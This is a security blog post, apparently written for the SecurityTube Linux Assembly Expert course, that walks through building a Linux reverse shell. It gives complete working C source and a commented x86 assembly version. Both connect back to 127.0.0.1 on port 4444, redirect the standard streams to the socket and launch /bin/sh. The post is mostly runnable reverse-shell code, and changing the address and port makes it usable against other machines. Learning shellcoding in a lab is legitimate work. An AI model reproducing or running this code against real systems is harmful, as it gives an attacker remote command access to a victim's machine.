Skip to content
badbit
Menu
  • Blog
  • About
Menu

Writing a Reverse Shell in x86 Assembly Language

Posted on August 24, 2020September 2, 2020 by badbit

A reverse shell is a connection established from the victim’s system to the attacker controlled system over a specific port. The major difference between a bind shell and a reverse shell lies in the flow of connection.

In this blog post, we will create a reverse shell leveraging the ASM code from the previous post.

Following is a simple reverse shell in C:

#include <stdio.h>
#include<sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include<unistd.h>

#define remote_addr "127.0.0.1" // IP Address to connect back 
#define remote_port 4444  //Port to connect back

int socket_d;
int socket_d_peer; 
struct sockaddr_in sockstruct;

int main()
{

	//int socket_d = socket(domain, type, protocol)
	int socket_d = socket(AF_INET, SOCK_STREAM, 6);

	sockstruct.sin_family = AF_INET;
	sockstruct.sin_port = htons(remote_port);
	sockstruct.sin_addr.s_addr = inet_addr(remote_addr);

	connect(socket_d, (struct sockaddr*) &sockstruct, sizeof(sockstruct));

//	listen(socket_d, 2);
//	printf("Listening\n");

//	socket_d_peer = accept(socket_d, NULL, NULL);

	dup2(socket_d, 0); //STDIN
	dup2(socket_d, 1); //STDOUT
	dup2(socket_d, 2); //STDERR

	execve("/bin/sh", NULL, NULL);
	close(socket_d);

    return 0;
}

The above code once compiled and executed will connect back to localhost on port 4444 as seen below:

And following a similar fashion as in the previous post where we described a bind shell, we write a ASM quivalent of the above reverse shell.
Below is the commented x86-ASM code.

; Syscalls - cat /usr/include/i386-linux-gnu/asm/unistd_32.h
; Call numbers for socketcall -- /usr/include/linux/net.h

global _start

section .text
_start:

sock:
	; creating a socket syscall

	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx

	mov bl, 0x1

	push ecx
	push ebx
	push 0x2
	mov ecx, esp

	mov al, 0x66
	int 0x80

	mov esi, eax ; Saving socket for further use

	; creating a connect function

	; connect(socket_d, (struct sockaddr*) &sockstruct, sizeof(sockstruct))

	mov al, 0x66

	; creating a sockaddr structure

	xor ebx, ebx

	push 0x0101017f ; IP address (127.0.0.1)
	push word 0x5c11 ; Port (4444)
	push word 0x2 ; AF_INET

	mov ecx, esp

	push 0x10 ; Size of sockstruct
	push ecx ; Sockstruct from stack
	push esi ; Earlier saved socket

	mov ecx, esp

	mov bl, 0x3
	int 0x80

	; piping output to our socket

	mov ebx, esi
	mov ecx, 0x3

pipe:

	mov al, 0x3f
	dec ecx
	int 0x80

	inc ecx
	loop pipe

	; execve syscall

	xor ecx, ecx
	mov edx, ecx
	
	; Null terminated /bin/bash in Little Endian format
	push ecx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp

	mov al, 0xb
	int 0x80

	; Exit

	xor eax, eax
	mov al, 0x1
	int 0x80

We compile and link our shellcode, set up our netcat listener on port 4444 and execute our reverse shell.

And that’s it folks! We have a reverse shell up and running!


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-14690

Reverse shell Github Repo

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Recent Posts

  • Make Your Own Luck – Bob Miglani & Rehan Khan
  • Zero to One – Peter Thiel
  • Mr. Crack Jack
  • WindowsAPI voodoo
  • Flare-On 7 | Challenge 2

Categories

  • CTF Write-ups
  • Five things I learnt
  • Reversing
  • Shellcoding
  • SLAE x86
  • Uncategorized
  • WindowsAPI

Connect

TwitterGithubLinkedIn
©2025 badbit | Built using WordPress and Responsive Blogily theme by Superb